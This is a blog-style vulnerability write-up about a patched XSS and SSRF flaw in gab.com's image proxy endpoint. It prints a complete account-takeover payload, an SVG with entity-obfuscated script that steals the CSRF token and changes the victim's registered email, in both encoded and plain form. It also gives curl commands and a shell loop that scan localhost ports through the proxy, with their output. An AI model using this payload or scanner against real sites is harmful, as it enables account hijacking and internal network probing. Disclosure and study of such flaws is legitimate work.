gab.com XSS

Gab is a microblogging service, primarily based on Mastodon. It’s maintained by some hard right wing weirdos with questionable expertise. They had an XSS vulnerability (one amongst many types of issues, it turned out) and was patched 2021-02-26.

It’s written in Ruby and I don’t know Ruby at all but it’s pretty obvious what the problem was.

require 'base64'
require 'net/http'

class Api::V2::ImageProxyController < EmptyController
  def get
    if params[:trends_url].nil?
      raise GabSocial::NotPermittedError
    else
      url = URI.parse(params[:trends_url])
      image = Net::HTTP.get_response(url)
      send_data image.body, type: image.content_type, disposition: 'inline'
    end
  end
end

In their “image proxy” controller, it will take an input parameter trends_url and render it. This is intended for, as the name would suggest, images. However as we can see it will just take the type provided by the remote server and serve the content with that type.

As such, we can construct a URL which allows us to render any content on gab.com, e.g. https://gab.com/api/v2/image_proxy?trends_url=http://ifconfig.me will show it’s outbound connection IP, as returned by ifconfig.me.

They have a CSP, but we could already render content on the gab.com domain through this same method it’s not an hinderance.

The payload I created would be sent to a user, and when loaded through the Gab image_proxy API and rendered in the browser of a logged in Gab user would update their Gab accounts registered email address. To achieve this we leverage a second weakness, in that the finish_signup process could be reached after sign-up to change the accounts registered email without any confirmation or additional authorisation (typically, this would require a user re-entering their password to confirm the change or accepting the change via email to the old email address).

First, it would use XHR to GET /auth/finish_signup to obtain this form for the logged in user. Since the <script> section of our payload is under gab.com we’re allowed to fetch it and view the results. From this we obtain the CSRF token we need to submit the finish_signup form. We can also obtain the current users email address from here, it could be XHR’d out to an external source but we don’t currently.

Secondly, it would use XHR to POST /auth/finish_signup to set a new email address on the logged in users account, using the previously obtain CSRF token.

At this point we can confirm the email address at the new address we provided (no confirmation at the old is needed, but a notification email is sent) and once confirmed we can initiate a password reset to our malicious address and take control of the account.

For the payload itself, I worked some fun XML ENTITY related tricks, to smuggle a <script> section into the SVG as an HTML entity encoded XML entity. The XML opt entity defines the email address which will be used in the POST request.

<!DOCTYPE svg [
  <!ENTITY opt "[email protected]">
  <!ENTITY item "&#x3c;&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;&#x3e;&#x0a;&#x74;&#x61;&#x6b;&#x65;&#x6f;&#x76;&#x65;&#x72;&#x5f;&#x65;&#x6d;&#x61;&#x69;&#x6c;&#x20;&#x3d;&#x20;&#x22;&opt;&#x22;&#x3b;&#x0a;&#x3c;&#x21;&#x5b;&#x43;&#x44;&#x41;&#x54;&#x41;&#x5b;&#x0a;&#x63;&#x73;&#x72;&#x66;&#x65;&#x74;&#x63;&#x68;&#x20;&#x3d;&#x20;&#x6e;&#x65;&#x77;&#x20;&#x58;&#x4d;&#x4c;&#x48;&#x74;&#x74;&#x70;&#x52;&#x65;&#x71;&#x75;&#x65;&#x73;&#x74;&#x28;&#x29;&#x3b;&#x0a;&#x74;&#x61;&#x6b;&#x65;&#x6f;&#x76;&#x65;&#x72;&#x20;&#x3d;&#x20;&#x6e;&#x65;&#x77;&#x20;&#x58;&#x4d;&#x4c;&#x48;&#x74;&#x74;&#x70;&#x52;&#x65;&#x71;&#x75;&#x65;&#x73;&#x74;&#x28;&#x29;&#x3b;&#x0a;&#x63;&#x73;&#x72;&#x66;&#x65;&#x74;&#x63;&#x68;&#x2e;&#x6f;&#x6e;&#x6c;&#x6f;&#x61;&#x64;&#x20;&#x3d;&#x20;&#x66;&#x75;&#x6e;&#x63;&#x74;&#x69;&#x6f;&#x6e;&#x28;&#x29;&#x20;&#x7b;&#x0a;&#x09;&#x72;&#x20;&#x3d;&#x20;&#x63;&#x73;&#x72;&#x66;&#x65;&#x74;&#x63;&#x68;&#x2e;&#x72;&#x65;&#x73;&#x70;&#x6f;&#x6e;&#x73;&#x65;&#x54;&#x65;&#x78;&#x74;&#x0a;&#x09;&#x6c;&#x65;&#x74;&#x20;&#x75;&#x72;&#x6c;&#x45;&#x6e;&#x63;&#x6f;&#x64;&#x65;&#x64;&#x44;&#x61;&#x74;&#x61;&#x20;&#x3d;&#x20;&#x22;&#x22;&#x2c;&#x0a;&#x09;&#x20;&#x75;&#x72;&#x6c;&#x45;&#x6e;&#x63;&#x6f;&#x64;&#x65;&#x64;&#x44;&#x61;&#x74;&#x61;&#x50;&#x61;&#x69;&#x72;&#x73;&#x20;&#x3d;&#x20;&#x5b;&#x5d;&#x2c;&#x0a;&#x09;&#x20;&#x64;&#x61;&#x74;&#x61;&#x20;&#x3d;&#x20;&#x7b;&#x7d;&#x2c;&#x0a;&#x09;&#x20;&#x6e;&#x61;&#x6d;&#x65;&#x3b;&#x0a;&#x09;&#x64;&#x61;&#x74;&#x61;&#x5b;&#x22;&#x5f;&#x6d;&#x65;&#x74;&#x68;&#x6f;&#x64;&#x22;&#x5d;&#x3d;&#x22;&#x70;&#x61;&#x74;&#x63;&#x68;&#x22;&#x3b;&#x0a;&#x09;&#x64;&#x61;&#x74;&#x61;&#x5b;&#x22;&#x61;&#x75;&#x74;&#x68;&#x65;&#x6e;&#x74;&#x69;&#x63;&#x69;&#x74;&#x79;&#x5f;&#x74;&#x6f;&#x6b;&#x65;&#x6e;&#x22;&#x5d;&#x3d;&#x72;&#x2e;&#x6d;&#x61;&#x74;&#x63;&#x68;&#x28;&#x2f;&#x6d;&#x65;&#x74;&#x61;&#x20;&#x6e;&#x61;&#x6d;&#x65;&#x3d;&#x22;&#x63;&#x73;&#x72;&#x66;&#x2d;&#x74;&#x6f;&#x6b;&#x65;&#x6e;&#x22;&#x20;&#x63;&#x6f;&#x6e;&#x74;&#x65;&#x6e;&#x74;&#x3d;&#x22;&#x28;&#x2e;&#x2a;&#x29;&#x22;&#x20;&#x5c;&#x2f;&#x2f;&#x29;&#x5b;&#x31;&#x5d;&#x3b;&#x0a;&#x09;&#x64;&#x61;&#x74;&#x61;&#x5b;&#x22;&#x75;&#x73;&#x65;&#x72;&#x5b;&#x65;&#x6d;&#x61;&#x69;&#x6c;&#x5d;&#x22;&#x5d;&#x3d;&#x74;&#x61;&#x6b;&#x65;&#x6f;&#x76;&#x65;&#x72;&#x5f;&#x65;&#x6d;&#x61;&#x69;&#x6c;&#x3b;&#x0a;&#x09;&#x64;&#x61;&#x74;&#x61;&#x5b;&#x22;&#x63;&#x6f;&#x6d;&#x6d;&#x69;&#x74;&#x22;&#x5d;&#x3d;&#x22;&#x43;&#x6f;&#x6e;&#x66;&#x69;&#x72;&#x6d;&#x20;&#x65;&#x6d;&#x61;&#x69;&#x6c;&#x22;&#x3b;&#x0a;&#x09;&#x66;&#x6f;&#x72;&#x28;&#x20;&#x6e;&#x61;&#x6d;&#x65;&#x20;&#x69;&#x6e;&#x20;&#x64;&#x61;&#x74;&#x61;&#x20;&#x29;&#x20;&#x7b;&#x0a;&#x09;&#x20;&#x75;&#x72;&#x6c;&#x45;&#x6e;&#x63;&#x6f;&#x64;&#x65;&#x64;&#x44;&#x61;&#x74;&#x61;&#x50;&#x61;&#x69;&#x72;&#x73;&#x2e;&#x70;&#x75;&#x73;&#x68;&#x28;&#x20;&#x65;&#x6e;&#x63;&#x6f;&#x64;&#x65;&#x55;&#x52;&#x49;&#x43;&#x6f;&#x6d;&#x70;&#x6f;&#x6e;&#x65;&#x6e;&#x74;&#x28;&#x20;&#x6e;&#x61;&#x6d;&#x65;&#x20;&#x29;&#x20;&#x2b;&#x20;&#x27;&#x3d;&#x27;&#x20;&#x2b;&#x20;&#x65;&#x6e;&#x63;&#x6f;&#x64;&#x65;&#x55;&#x52;&#x49;&#x43;&#x6f;&#x6d;&#x70;&#x6f;&#x6e;&#x65;&#x6e;&#x74;&#x28;&#x20;&#x64;&#x61;&#x74;&#x61;&#x5b;&#x6e;&#x61;&#x6d;&#x65;&#x5d;&#x20;&#x29;&#x20;&#x29;&#x3b;&#x0a;&#x09;&#x7d;&#x0a;&#x09;&#x75;&#x72;&#x6c;&#x45;&#x6e;&#x63;&#x6f;&#x64;&#x65;&#x64;&#x44;&#x61;&#x74;&#x61;&#x20;&#x3d;&#x20;&#x75;&#x72;&#x6c;&#x45;&#x6e;&#x63;&#x6f;&#x64;&#x65;&#x64;&#x44;&#x61;&#x74;&#x61;&#x50;&#x61;&#x69;&#x72;&#x73;&#x2e;&#x6a;&#x6f;&#x69;&#x6e;&#x28;&#x20;&#x27;&#x26;&#x27;&#x20;&#x29;&#x2e;&#x72;&#x65;&#x70;&#x6c;&#x61;&#x63;&#x65;&#x28;&#x20;&#x2f;&#x25;&#x32;&#x30;&#x2f;&#x67;&#x2c;&#x20;&#x27;&#x2b;&#x27;&#x20;&#x29;&#x3b;&#x0a;&#x09;&#x74;&#x61;&#x6b;&#x65;&#x6f;&#x76;&#x65;&#x72;&#x2e;&#x6f;&#x70;&#x65;&#x6e;&#x28;&#x22;&#x50;&#x4f;&#x53;&#x54;&#x22;&#x2c;&#x20;&#x22;&#x68;&#x74;&#x74;&#x70;&#x73;&#x3a;&#x2f;&#x2f;&#x67;&#x61;&#x62;&#x2e;&#x63;&#x6f;&#x6d;&#x2f;&#x61;&#x75;&#x74;&#x68;&#x2f;&#x66;&#x69;&#x6e;&#x69;&#x73;&#x68;&#x5f;&#x73;&#x69;&#x67;&#x6e;&#x75;&#x70;&#x22;&#x2c;&#x20;&#x74;&#x72;&#x75;&#x65;&#x29;&#x3b;&#x0a;&#x09;&#x74;&#x61;&#x6b;&#x65;&#x6f;&#x76;&#x65;&#x72;&#x2e;&#x73;&#x65;&#x74;&#x52;&#x65;&#x71;&#x75;&#x65;&#x73;&#x74;&#x48;&#x65;&#x61;&#x64;&#x65;&#x72;&#x28;&#x27;&#x43;&#x6f;&#x6e;&#x74;&#x65;&#x6e;&#x74;&#x2d;&#x54;&#x79;&#x70;&#x65;&#x27;&#x2c;&#x20;&#x27;&#x61;&#x70;&#x70;&#x6c;&#x69;&#x63;&#x61;&#x74;&#x69;&#x6f;&#x6e;&#x2f;&#x78;&#x2d;&#x77;&#x77;&#x77;&#x2d;&#x66;&#x6f;&#x72;&#x6d;&#x2d;&#x75;&#x72;&#x6c;&#x65;&#x6e;&#x63;&#x6f;&#x64;&#x65;&#x64;&#x27;&#x29;&#x3b;&#x0a;&#x09;&#x74;&#x61;&#x6b;&#x65;&#x6f;&#x76;&#x65;&#x72;&#x2e;&#x73;&#x65;&#x6e;&#x64;&#x28;&#x75;&#x72;&#x6c;&#x45;&#x6e;&#x63;&#x6f;&#x64;&#x65;&#x64;&#x44;&#x61;&#x74;&#x61;&#x29;&#x3b;&#x0a;&#x7d;&#x3b;&#x0a;&#x63;&#x73;&#x72;&#x66;&#x65;&#x74;&#x63;&#x68;&#x2e;&#x6f;&#x6e;&#x65;&#x72;&#x72;&#x6f;&#x72;&#x20;&#x3d;&#x20;&#x66;&#x75;&#x6e;&#x63;&#x74;&#x69;&#x6f;&#x6e;&#x28;&#x29;&#x20;&#x7b;&#x0a;&#x09;&#x77;&#x69;&#x6e;&#x64;&#x6f;&#x77;&#x2e;&#x6c;&#x6f;&#x63;&#x61;&#x74;&#x69;&#x6f;&#x6e;&#x20;&#x3d;&#x20;&#x22;&#x2f;&#x61;&#x75;&#x74;&#x68;&#x2f;&#x73;&#x69;&#x67;&#x6e;&#x5f;&#x69;&#x6e;&#x22;&#x3b;&#x0a;&#x7d;&#x3b;&#x0a;&#x74;&#x61;&#x6b;&#x65;&#x6f;&#x76;&#x65;&#x72;&#x2e;&#x6f;&#x6e;&#x6c;&#x6f;&#x61;&#x64;&#x20;&#x3d;&#x20;&#x66;&#x75;&#x6e;&#x63;&#x74;&#x69;&#x6f;&#x6e;&#x28;&#x29;&#x20;&#x7b;&#x0a;&#x09;&#x77;&#x69;&#x6e;&#x64;&#x6f;&#x77;&#x2e;&#x6c;&#x6f;&#x63;&#x61;&#x74;&#x69;&#x6f;&#x6e;&#x20;&#x3d;&#x20;&#x22;&#x2f;&#x68;&#x6f;&#x6d;&#x65;&#x22;&#x3b;&#x0a;&#x7d;&#x3b;&#x0a;&#x74;&#x61;&#x6b;&#x65;&#x6f;&#x76;&#x65;&#x72;&#x2e;&#x6f;&#x6e;&#x65;&#x72;&#x72;&#x6f;&#x72;&#x20;&#x3d;&#x20;&#x66;&#x75;&#x6e;&#x63;&#x74;&#x69;&#x6f;&#x6e;&#x28;&#x29;&#x20;&#x7b;&#x0a;&#x09;&#x6c;&#x6f;&#x63;&#x61;&#x74;&#x69;&#x6f;&#x6e;&#x2e;&#x72;&#x65;&#x6c;&#x6f;&#x61;&#x64;&#x28;&#x74;&#x72;&#x75;&#x65;&#x29;&#x3b;&#x0a;&#x7d;&#x3b;&#x0a;&#x63;&#x73;&#x72;&#x66;&#x65;&#x74;&#x63;&#x68;&#x2e;&#x6f;&#x70;&#x65;&#x6e;&#x28;&#x22;&#x47;&#x45;&#x54;&#x22;&#x2c;&#x20;&#x22;&#x2f;&#x61;&#x75;&#x74;&#x68;&#x2f;&#x66;&#x69;&#x6e;&#x69;&#x73;&#x68;&#x5f;&#x73;&#x69;&#x67;&#x6e;&#x75;&#x70;&#x22;&#x2c;&#x20;&#x74;&#x72;&#x75;&#x65;&#x29;&#x3b;&#x0a;&#x63;&#x73;&#x72;&#x66;&#x65;&#x74;&#x63;&#x68;&#x2e;&#x73;&#x65;&#x6e;&#x64;&#x28;&#x29;&#x3b;&#x0a;&#x5d;&#x5d;&#x3e;&#x0a;&#x3c;&#x2f;&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;&#x3e;">
]>
<svg
	xmlns:svg="http://www.w3.org/2000/svg"
	xmlns="http://www.w3.org/2000/svg"
	version="1.1">
	&item;
</svg>

It’s encoded purely for very limited obfuscation purposes, unencoded it looks like this…

<!DOCTYPE svg>
<svg
	xmlns:svg="http://www.w3.org/2000/svg"
xmlns="http://www.w3.org/2000/svg"
version="1.1">
<script>
    takeover_email = "[email protected]";
    csrfetch = new XMLHttpRequest();
    takeover = new XMLHttpRequest();
    csrfetch.onload = function() {
	r = csrfetch.responseText
	//current_email = r.match(/type=\"email\" value=\"(.*)\" name=\"user\[email\]\" id=\"user_email\"/)[1];
	let urlEncodedData = "",urlEncodedDataPairs = [],data = {},name;
	data["_method"]="patch";
	data["authenticity_token"]=r.match(/meta name=\"csrf-token\" content=\"(.*)\" \//)[1];
	data["user[email]"]=takeover_email;
	data["commit"]="Confirm email";
	for( name in data ) {
		urlEncodedDataPairs.push( encodeURIComponent( name ) + '=' + encodeURIComponent( data[name] ) );
	}
	urlEncodedData = urlEncodedDataPairs.join( '&' ).replace( /%20/g, '+' );
	takeover.open("POST", "https://gab.com/auth/finish_signup", true);
	takeover.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
	takeover.send(urlEncodedData);
    };
    csrfetch.onerror = function() {
	window.location = "/auth/sign_in";
    };
    takeover.onload = function() {
	window.location = "/home";
    };
    takeover.onerror = function() {
	location.reload(true);
    };
    csrfetch.open("GET", "/auth/finish_signup", true);
    csrfetch.send();
</script>

There’s a lot of fucking around in preparing the POST request because in SVG we don’t seem to have a document.body to put <form/> entities on to .submit().

Extras

Since we can make the gab.com webapp make any request we like, this also allows us to make connections within their internal network.

There is potential for cross-protocol or SSRF attacks.

As an example, we will use an error message as an oracle to let us check for open TCP ports on the webapp’s localhost.

$ curl https://gab.com/api/v2/image_proxy?trends_url=https://localhost:12345 2> /dev/null | head -n 1
<!DOCTYPE html>

We get an HTML based error page on port 12345.

$ curl https://gab.com/api/v2/image_proxy?trends_url=https://localhost:22 2> /dev/null | head -n 1
{"error":"Remote SSL certificate could not be verified"}

However, we get an SSL error on port 22.

We can conclude that when it tries to connect to localhost:12345 it fails to connect, but when it connects on localhost:22 it gets some response but it’s not a valid SSL certificate (note, we are using https://localhost).

This allows us to check which services are running, and we have some control over what data is sent to them. This error oracle lets us construct a primitive port-scanner.

$ for PORT in 21 22 25 80 443 3000; do curl https://gab.com/api/v2/image_proxy?trends_url=https://localhost:$PORT 2> /dev/null | head -n 1 | grep -q "Remote SSL certificate could not be verified" && echo "$PORT open" || echo "$PORT closed";done
21 closed
22 open
25 closed
80 open
443 closed
3000 open